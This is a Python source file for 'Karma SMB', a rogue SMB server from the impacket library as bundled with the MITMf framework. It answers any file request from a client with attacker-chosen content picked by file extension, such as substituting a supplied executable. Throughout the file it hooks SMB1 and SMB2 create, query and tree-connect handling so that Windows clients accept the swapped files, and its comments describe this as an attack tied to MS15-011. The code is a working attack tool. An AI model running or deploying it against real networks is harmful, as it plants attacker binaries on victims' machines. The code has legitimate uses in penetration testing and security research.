#!/usr/bin/python # Copyright (c) 2015 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Karma SMB # # Author: # Alberto Solino (@agsolino) # Original idea by @mubix # # Description: # The idea of this script is to answer any file read request # with a set of predefined contents based on the extension # asked, regardless of the sharename and/or path. # When executing this script w/o a config file the pathname # file contents will be sent for every request. # If a config file is specified, format should be this way: # = # for example: # bat = /tmp/batchfile # com = /tmp/comfile # exe = /tmp/exefile # # The SMB2 support works with a caveat. If two different # filenames at the same share are requested, the first # one will work and the second one will not work if the request # is performed right away. This seems related to the # QUERY_DIRECTORY request, where we return the files available. # In the first try, we return the file that was asked to open. # In the second try, the client will NOT ask for another # QUERY_DIRECTORY but will use the cached one. This time the new file # is not there, so the client assumes it doesn't exist. # After a few seconds, looks like the client cache is cleared and # the operation works again. Further research is needed trying # to avoid this from happening. # # SMB1 seems to be working fine on that scenario. # # ToDo: # [ ] A lot of testing needed under different OSes. # I'm still not sure how reliable this approach is. # [ ] Add support for other SMB read commands. Right now just # covering SMB_COM_NT_CREATE_ANDX # [ ] Disable write request, now if the client tries to copy # a file back to us, it will overwrite the files we're # hosting. *CAREFUL!!!* # import sys import os import argparse import logging import ntpath import ConfigParser from threading import Thread from mitmflib.impacket.examples import logger from mitmflib.impacket import smbserver, smb, version import mitmflib.impacket.smb3structs as smb2 from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ STATUS_OBJECT_PATH_NOT_FOUND from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ getFileTime, queryPathInformation class KarmaSMBServer(Thread): def __init__(self, smb_challenge, smb_port, smb2Support = False): Thread.__init__(self) self.server = 0 self.defaultFile = None self.extensions = {} # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) smbConfig.set('global','log_file','smb.log') smbConfig.set('global','credentials_file','') # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','Logon server share') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path','') # NETLOGON always needed smbConfig.add_section('NETLOGON') smbConfig.set('NETLOGON','comment','Logon server share') smbConfig.set('NETLOGON','read only','no') smbConfig.set('NETLOGON','share type','0') smbConfig.set('NETLOGON','path','') # SYSVOL always needed smbConfig.add_section('SYSVOL') smbConfig.set('SYSVOL','comment','') smbConfig.set('SYSVOL','read only','no') smbConfig.set('SYSVOL','share type','0') smbConfig.set('SYSVOL','path','') if smb2Support: smbConfig.set("global", "SMB2Support", "True") self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser = smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) self.server.unregisterSmb2Command(smb2.SMB2_WRITE) self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) # And the same for SMB2 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) # Now we have to register the MS-SRVS server. This specially important for # Windows 7+ and Mavericks clients since they WONT (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): connData = smbServer.getConnectionData(connId) respSetup = '' respParameters = '' respData = '' findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) origFileName = os.path.basename(origPathName) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = connData['ConnectedShares'][recvPacket['Tid']]['path'] # 2. We call the normal findFirst2 call, but with our targetFile searchResult, searchCount, errorCode = findFirst2(path, targetFile, findFirst2Parameters['InformationLevel'], findFirst2Parameters['SearchAttributes'] ) respParameters = smb.SMBFindFirst2Response_Parameters() endOfSearch = 1 sid = 0x80 # default SID searchCount = 0 totalData = 0 for i in enumerate(searchResult): #i[1].dump() try: # 3. And we restore the original filename requested ;) i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) except: pass data = i[1].getData() lenData = len(data) if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: # We gotta stop here and continue on a find_next2 endOfSearch = 0 # Simple way to generate a fid if len(connData['SIDs']) == 0: sid = 1 else: sid = connData['SIDs'].keys()[-1] + 1 # Store the remaining search results in the ConnData SID connData['SIDs'][sid] = searchResult[i[0]:] respParameters['LastNameOffset'] = totalData break else: searchCount +=1 respData += data totalData += lenData respParameters['SID'] = sid respParameters['EndOfSearch'] = endOfSearch respParameters['SearchCount'] = searchCount else: errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) #ntCreateAndXParameters.dump() # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls (e.g. SMB_COM_WRITE) createOptions = ntCreateAndXParameters['CreateOptions'] if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [respSMBCommand], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile # 2. We change the filename in the request for our targetFile ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) SMBCommand['Data'] = str(ntCreateAndXData) smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) # 3. We call the original call with our modified data return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): # The trick we play here is that Windows clients first ask for the file # and then it asks for the directory containing the file. # It is important to answer the right questions for the attack to work connData = smbServer.getConnectionData(connId) respSetup = '' respParameters = '' respData = '' errorCode = 0 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = '' try: origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) origPathName = os.path.normpath(origPathName.replace('\\','/')) if connData.has_key('MS15011') is False: connData['MS15011'] = {} smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) if connData['MS15011'].has_key(origPathName) or origPathName == '.': # We already processed this entry, now it's asking for a directory infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) else: # First time asked, asking for the file infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) connData['MS15011'][os.path.dirname(origPathName)] = infoRecord except Exception, e: #import traceback #traceback.print_exc() smbServer.log("queryPathInformation: %s" % e,logging.ERROR) if infoRecord is not None: respParameters = smb.SMBQueryPathInformationResponse_Parameters() respData = infoRecord else: errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode def smb2Read(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) connData['MS15011']['StopConnection'] = True smbServer.setConnectionData(connId, connData) return self.origsmb2Read(connId, smbServer, recvPacket) def smb2Close(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) # We're closing the connection trying to flush the client's # cache. if connData['MS15011']['StopConnection'] is True: return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED return self.origsmb2Close(connId, smbServer, recvPacket) def smb2Create(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls createOptions = ntCreateRequest['CreateOptions'] if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [smb2.SMB2Error()], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] # Are we being asked for a directory? if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) else: targetFile = '/' # 2. We change the filename in the request for our targetFile ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') ntCreateRequest['NameLength'] = len(targetFile)*2 recvPacket['Data'] = str(ntCreateRequest) # 3. We call the original call with our modified data return self.origsmb2Create(connId, smbServer, recvPacket) def smb2QueryDirectory(self, connId, smbServer, recvPacket): # Windows clients with SMB2 will also perform a QueryDirectory # expecting to get the filename asked. So we deliver it :) connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2QueryDirectory_Response() #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) errorCode = 0xff respSMBCommand['Buffer'] = '\x00' errorCode = STATUS_SUCCESS #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED if connData['MS15011']['FindDone'] is True: connData['MS15011']['FindDone'] = False smbServer.setConnectionData(connId, connData) return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES else: origName, targetFile = connData['MS15011']['FileData'] (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE infoRecord['EaSize'] = 0 infoRecord['EndOfFile'] = size infoRecord['AllocationSize'] = size infoRecord['CreationTime'] = getFileTime(ctime) infoRecord['LastAccessTime'] = getFileTime(atime) infoRecord['LastWriteTime'] = getFileTime(mtime) infoRecord['LastChangeTime'] = getFileTime(mtime) infoRecord['ShortName'] = '\x00'*24 #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') infoRecord['FileName'] = origName.encode('utf-16le') padLen = (8-(len(infoRecord) % 8)) % 8 infoRecord['NextEntryOffset'] = 0 respSMBCommand['OutputBufferOffset'] = 0x48 respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen connData['MS15011']['FindDone'] = True smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode def smb2TreeConnect(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respPacket = smb2.SMB2Packet() respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = recvPacket['Command'] respPacket['SessionID'] = connData['Uid'] respPacket['Reserved'] = recvPacket['Reserved'] respPacket['MessageID'] = recvPacket['MessageID'] respPacket['TreeID'] = recvPacket['TreeID'] respSMBCommand = smb2.SMB2TreeConnect_Response() treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) errorCode = STATUS_SUCCESS ## Process here the request, does the share exist? path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] UNCOrShare = path.decode('utf-16le') # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P #share = searchShare(connId, path.upper(), smbServer) connData['MS15011'] = {} connData['MS15011']['FindDone'] = False connData['MS15011']['StopConnection'] = False share = {} if share is not None: # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = connData['ConnectedShares'].keys()[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path respPacket['TreeID'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) else: smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) errorCode = STATUS_OBJECT_PATH_NOT_FOUND respPacket['Status'] = errorCode ## if path == 'IPC$': respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE respSMBCommand['ShareFlags'] = 0x30 else: respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK respSMBCommand['ShareFlags'] = 0x0 respSMBCommand['Capabilities'] = 0 respSMBCommand['MaximalAccess'] = 0x011f01ff respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], errorCode def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) errorCode = STATUS_SUCCESS UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) #share = searchShare(connId, path, smbServer) share = {} # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = connData['ConnectedShares'].keys()[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path resp['Tid'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode def start(self): self.server.serve_forever() def setDefaultFile(self, filename): self.defaultFile = filename def setExtensionsConfig(self, filename): for line in filename.readlines(): line = line.strip('\r\n ') if line.startswith('#') is not True and len(line) > 0: extension, pathName = line.split('=') self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())